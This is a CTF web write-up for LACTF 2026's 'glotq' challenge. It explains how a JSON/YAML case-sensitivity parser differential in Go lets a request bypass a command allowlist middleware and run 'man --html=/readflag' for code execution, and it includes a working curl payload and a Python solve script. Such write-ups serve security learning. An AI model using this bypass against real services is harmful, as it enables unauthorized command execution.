Glotq

LACTFby smothy

glotq - LACTF 2026 Web Writeup

Category: Web Difficulty: Medium Points: 248 Solves: 50 Flag: lactf{PoLY9LOt_TH3_Fl49} Solved by: Smothy @ 0xN1umb


Hackerman

"When JSON and YAML can't agree on what you said, that's not a bug - that's a feature."


Challenge Description

jq / yq / xq as a service!

A web service that lets you run jq, yq, and xq queries through a slick web interface. Three endpoints, three formats, one middleware to rule them all. What could possibly go wrong when you trust two parsers to agree on the same input?

TL;DR

The middleware validates commands by parsing the request body based on Content-Type header, but the handler always parses based on its endpoint format. Go's encoding/json does case-insensitive key matching while gopkg.in/yaml.v3 is case-sensitive. Craft a polyglot JSON payload with mixed-case keys to bypass middleware and execute man --html=/readflag jq for RCE. Polyglot go brrr.

Initial Recon

Downloaded and extracted the challenge files. Clean Go web app with three format endpoints:

Key observations from reading the source:

  • 3 endpoints: /json, /yaml, /xml - each with a specific command tool (jq/yq/xq) + man
  • SecurityMiddleware validates commands before handlers execute them
  • SUID binary /readflag (4755) reads root-owned /flag.txt
  • App runs as unprivileged glotq user

The flag is only readable through the SUID /readflag binary. So we need RCE.

Step 1: Understanding the Architecture

The middleware and handlers have a critical design flaw:

Middleware (middleware.go): Chooses parser based on Content-Type header

go
switch {
case strings.Contains(contentType, "application/json"):
    // Parse as JSON
case strings.Contains(contentType, "application/yaml"):
    // Parse as YAML
case strings.Contains(contentType, "application/xml"):
    // Parse as XML
}

Handlers (handlers.go): Always parse based on endpoint type

go
func YAMLHandler(w http.ResponseWriter, r *http.Request) {
    // ALWAYS parses as YAML, regardless of Content-Type
    var payload YAMLPayload
    yaml.Unmarshal(body, &payload)
    // ...
}

So if we send Content-Type: application/json to the /yaml endpoint:

  • Middleware parses as JSON
  • Handler parses as YAML

Two different parsers seeing the same bytes. Classic polyglot setup.

Step 2: Finding the Parsing Differential

For the homies who haven't dug into Go's parsing internals: JSON and YAML handle key matching differently.

Go's encoding/json: Case-insensitive key matching

"Unmarshal matches incoming object keys to the keys used by Marshal, preferring an exact match but also accepting a case-insensitive match."

Go's gopkg.in/yaml.v3: Case-sensitive key matching

Only exact tag matches work. "Command" does NOT match yaml:"command".

This means the payload:

json
{"command":"man","Command":"yq","args":["--html=/readflag","jq"],"Args":["."]}

Gets interpreted completely differently:

Parsercommand fieldargs field
JSON (middleware)"yq" (uppercase "Command" overwrites via case-insensitive match)["."] (uppercase "Args" overwrites)
YAML (handler)"man" (only lowercase "command" matches)["--html=/readflag","jq"] (only lowercase "args" matches)

The middleware sees yq with safe args - ALLOWED. The handler sees man --html=/readflag jq - EXPLOIT.

Step 3: Weaponizing man

Now we need man to execute /readflag. The obvious approach man -P /readflag jq (pager) doesn't work because man skips the pager when stdout isn't a TTY.

But man --html=/readflag jq is different! The --html=browser flag tells man to format the page as HTML and invoke the specified program as the "browser" to display it. This works regardless of TTY status because it's launching a program, not a pager.

/readflag is SUID root, ignores its arguments, just reads /flag.txt and prints it. When man invokes it as the "browser", we get the flag on stdout.

Step 4: The Exploit

One curl command. That's it:

bash
curl -s -X POST https://glotq-g2xyl.instancer.lac.tf/yaml \
  -H 'Content-Type: application/json' \
  -d '{"command":"man","Command":"yq","args":["--html=/readflag","jq"],"Args":["."]}'

Response:

json
{"success":true,"output":"lactf{PoLY9LOt_TH3_Fl49}\n"}

The Flag

lactf{PoLY9LOt_TH3_Fl49}

Leetspeak breakdown: POLYGLOT THE FLAG - the challenge name "glotq" was the hint all along (polyglot + q).

The Solve Script

python
#!/usr/bin/env python3
"""
glotq solver - LACTF 2026
Smothy @ 0xN1umb

Exploits JSON/YAML case-sensitivity differential
to bypass middleware and execute man --html=/readflag
"""
import requests
import sys

url = sys.argv[1] if len(sys.argv) > 1 else "https://glotq-g2xyl.instancer.lac.tf"

# The polyglot payload:
# JSON (middleware): Command="yq", Args=["."] -> ALLOWED
# YAML (handler):   command="man", args=["--html=/readflag","jq"] -> RCE
payload = {
    "command": "man",       # YAML sees this (case-sensitive match)
    "Command": "yq",        # JSON sees this (case-insensitive overwrite)
    "args": ["--html=/readflag", "jq"],  # YAML sees this
    "Args": ["."]           # JSON sees this (case-insensitive overwrite)
}

r = requests.post(
    f"{url}/yaml",
    json=payload,  # sends Content-Type: application/json automatically
)

data = r.json()
if data.get("success"):
    print(f"Flag: {data['output'].strip()}")
else:
    print(f"Error: {data.get('error')}")

The Graveyard of Failed Attempts

  1. man -P /readflag jq - First thing I tried after getting the parsing differential working. Got back the entire jq man page instead of the flag. Turns out man doesn't invoke the pager when stdout isn't a TTY. RIP.

  2. man -l /dev/stdin with .sy commands - Tried to inject groff .sy /readflag into the body so man would execute it during formatting. But .sy needs to be at the start of a line, and valid JSON always has quotes before values. Can't have unquoted .sy at column 0 in valid JSON.

  3. Duplicate keys approach - Initially thought maybe JSON and YAML handle duplicate keys differently (first-wins vs last-wins). Nope - both Go parsers take the last value. Dead end.

  4. YAML anchors/tags in JSON - Tried using YAML-specific features (&anchor, !!tag). These aren't valid JSON so the middleware JSON parser rejects them.

  5. JSON/XML polyglot - Briefly considered making something that's both valid JSON and XML. JSON starts with {, XML starts with <. Yeah, no.

Key Takeaways

  1. Parser differentials are real - When two parsers process the same input, subtle behavioral differences become exploitable. Case sensitivity is an easy one to miss.

  2. Middleware/handler parsing mismatch - If middleware validates using one parser but the handler processes with another, you have a bypass. Always parse once, validate, then pass the parsed result.

  3. man is a Swiss army knife - Beyond displaying pages, man can invoke external programs via --html, -P (pager), and preprocessor options. Great for CTF RCE when your command allowlist includes man.

  4. The challenge name IS the hint - "glotq" = polyglot + q. The flag PoLY9LOt_TH3_Fl49 confirms polyglot parsing was the intended path.

  5. Go's JSON unmarshaler is too friendly - Case-insensitive matching is a feature for developer convenience, but it creates security differentials when used alongside strict parsers.

Tools Used

  • curl - HTTP requests
  • docker - Local testing
  • Source code reading (the best tool)
  • Way too much caffeine

Writeup by Smothy from 0xN1umb team. When your middleware and handler can't agree on what you said, you're already in. GG.